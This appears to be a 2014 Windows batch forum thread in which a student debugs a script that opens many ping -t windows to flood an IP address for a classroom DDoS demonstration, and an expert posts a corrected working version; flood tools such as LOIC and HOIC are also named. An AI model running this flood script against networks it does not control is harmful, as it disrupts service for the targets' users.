Help debug this pinging batch file

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
cbarreras
Posts: 2
Joined: 18 Nov 2014 21:34

Help debug this pinging batch file

#1 Post by cbarreras » 18 Nov 2014 21:58

I'm trying to write a batch file that will open a number of cmd.exe windows and start pinging an IP address with a certain packet size. This is not for nefarious reasons, but to help my professor who teaches a security class have a utility to demonstrate a ping flood DDoS.

Here's what I have so far and it's not working :evil: :

Code: Select all

@echo off
if not %1 == "" (
   set /A numIter=%~1
   set /A ipAddress=%~2
   set /A packetSize=%~3
   ) Else (
   set /A numIter=1
   set /A ipAddress=localhost
   set /A packetSize=%RANDOM%
   )

if %numIter% == 0 (
   call :pingFlood %ipAddress% %packetSize%
   ) Else (
   For /L %%G IN (1, 1, %numIter%) do (
      start "Job %%G" "%~dpfx0" job%%G
      :job%%G
      call :pingFlood %ipAddress% %packetSize%
      )
   )

:pingFlood
ping %1 -t -l %2


The requirements that I have to meet are:
  1. Each iteration spawns a new cmd process
  2. The ping command accepts the IP address input as a parameter
  3. The ping command accepts a packet size input as a parameter

Currently when the batch file is executed without any parameters, I get the following output:

( was unexpected at this time.

When I add parameters e.g. "pingFlood 5 127.0.0.1 5000", I see the following behavior:
A cmd.exe process will spawn and I get the message "Missing operand." then it starts to ping 0.0.0.192 with the correct packet size.
The existing cmd.exe process shows the message "Missing operator." then it starts the same ping at the wrong address

Where have I gone wrong?

Ed Dyreen
Expert
Posts: 1569
Joined: 16 May 2011 08:21
Location: Flanders(Belgium)
Contact:

Re: Help debug this pinging batch file

#2 Post by Ed Dyreen » 19 Nov 2014 00:31

i don't understand why someone would hire a professor to teach about something he obviously knows nothing about. anything over a single process will have a negative impact on performance, such a task is best executed by a single process, the bottleneck is not processing power but the quality of your connection/s to the network.

Code: Select all

@echo off

:main numIter ipAddress packetSize
:: (
       2>nul set /a numIter = %~1 &&(

              set  "ipAddress=%~2"
              set "packetSize=%~3"

       ) ||(
              set      "numIter=1"
              set    "ipAddress=localhost"
              set   "packetSize=%RANDOM%"
       )

       if "%numIter%" neq "0" (

              For /L %%G IN (

                     1, 1, %numIter%

              ) do   start "childProcess %%G" "%~f0" 0 %ipAddress% %packetSize%

       ) else ping %ipAddress% -t -l %packetSize%

       echo.program exit..
       if "%numIter%" neq "0" pause
:: )
exit 0

-at one point you tell your batch to re-spawn itself, but there are no conditions to prevent a child from re-spawning, resulting in an infinite loop.

-'if' compare needs two operators, sadly it fails if %1 evaluates to nothing, that is why you got that error about the missing operand, i had to add double quotes.

cbarreras
Posts: 2
Joined: 18 Nov 2014 21:34

Re: Help debug this pinging batch file

#3 Post by cbarreras » 19 Nov 2014 01:18

Thank you, Ed. That works wonders with one small modification...

changed the for loop in :main to start at 1 instead of 0.

The prof loved a demonstration I did that used a predetermined IP address over a SOHO router I brought in from my store of devices.... the modifications I'm making both to the script and the java app that I wrote will allow for input of IP address, number of processes and packet size.

And since the packet size for pinging is limited to 65,500 bytes, quite a few ping processes can run before an outbound connection can become saturated. There are tools out there, like Low Orbit Ion Cannon, that do much, much more, but I wrote something, and am revising it, that is relatively harmless.

Thanks again for sharing your expertise!

Ed Dyreen
Expert
Posts: 1569
Joined: 16 May 2011 08:21
Location: Flanders(Belgium)
Contact:

Re: Help debug this pinging batch file

#4 Post by Ed Dyreen » 19 Nov 2014 01:34

if the process has to wait for a pong, i understand your logic of wanting multiples instances, you may also want to check out hoic, i've been told it's completely written in vbScript.

ps; i edited my previous sample

Squashman
Expert
Posts: 4488
Joined: 23 Dec 2011 13:59

Re: Help debug this pinging batch file

#5 Post by Squashman » 19 Nov 2014 07:45

Ed Dyreen wrote:i don't understand why someone would hire a professor to teach about something he obviously knows nothing about.

Bingo!
Reminds me of ITT professors. My buddy got his Associates Degree at our local Tech College and then he went to ITT to get his bachelors degree. He knew more about all of the classes then most of his professors. He already had many Cisco and Novell certifications before he went to ITT. He tested out of most of the classes at ITT and some of the questions on the tests had wrong answers or didn't even have a correct answer to chose from on the multiple choice questions.

Squashman
Expert
Posts: 4488
Joined: 23 Dec 2011 13:59

Re: Help debug this pinging batch file

#6 Post by Squashman » 19 Nov 2014 07:48

Most of what you are trying to do has already been written in a lot of freely available security utilities for Windows and Live Linux distributions.

Post Reply